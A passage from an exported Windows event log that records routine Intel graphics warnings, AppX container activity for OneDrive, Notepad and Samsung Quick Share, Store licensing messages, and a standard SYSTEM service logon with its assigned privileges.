process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:05.590\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:00:05.591\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:00:05.591\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:00:07.175\t217\tDestroyed Desktop AppX container {245CDE60-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:11.312\t210\tCreated Desktop AppX container {245CDE65-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:11.312\t211\tAdded process 5628 to Desktop AppX container 245cde65-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:16.928\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:16.932\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:17.145\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:17.274\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:00:17.274\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:00:18.366\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:19.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:20.147\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:20.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:20.820\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:21.044\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:21.603\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:21.939\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:22.274\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:22.943\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:24.618\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:24.839\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:25.061\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:25.395\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:25.856\t217\tDestroyed Desktop AppX container {245CDE65-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:25.955\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:26.180\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:26.403\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:26.959\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:27.514\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:27.736\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:29.076\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:29.523\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:29.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:30.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:30.526\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:30.565\t217\tDestroyed Desktop AppX container {245CDE56-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:30.565\t217\tDestroyed Desktop AppX container {245CDE5B-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:30.567\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:30.567\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:31.307\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:31.863\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:32.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:32.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:33.091\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:33.315\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:33.647\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:34.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:34.763\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:34.987\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:35.650\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:35.666\t210\tCreated Desktop AppX container {245CDE6F-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.666\t211\tAdded process 3232 to Desktop AppX container 245cde6f-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.723\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:35.750\t210\tCreated Desktop AppX container {245CDE74-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.750\t211\tAdded process 2020 to Desktop AppX container 245cde74-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.797\t210\tCreated Desktop AppX container {245CDE79-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.797\t211\tAdded process 6128 to Desktop AppX container 245cde79-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.987\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:36.770\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:36.775\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:43.342\t2416\tA local notification was received from MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:00:43.345\t2418\tA local notification was submitted to threadpool: MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] tile [NotificationType] 9401 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:00:45.538\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.563\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.565\t28115\tShortcut for application WINWORD.EXE - Shortcut (2) with ID Microsoft.Office.WINWORD.EXE.15 and flags 0x10 is added to app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.569\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.572\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.579\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:00:48.559\t217\tDestroyed Desktop AppX container {245CDE79-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:48.560\t217\tDestroyed Desktop AppX container {245CDE6F-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:48.572\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:48.572\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:48.573\t217\tDestroyed Desktop AppX container {245CDE74-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:52.072\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:52.076\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:52.515\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:53.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:53.968\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:54.514\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:54.526\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:54.530\t210\tCreated Desktop AppX container {245CDE80-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.531\t211\tAdded process 3188 to Desktop AppX container 245cde80-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.586\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:54.612\t210\tCreated Desktop AppX container {245CDE85-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.612\t211\tAdded process 15532 to Desktop AppX container 245cde85-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.659\t210\tCreated Desktop AppX container {245CDE8A-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.659\t211\tAdded process 9584 to Desktop AppX container 245cde8a-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:55.528\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:55.738\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:55.742\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:59.771\t217\tDestroyed Desktop AppX container {245CDE8A-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:00.851\t210\tCreated Desktop AppX container {245CDE8F-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:00.852\t211\tAdded process 8468 to Desktop AppX container 245cde8f-a8c9-11f1-b7ff-289200f24a99 for package 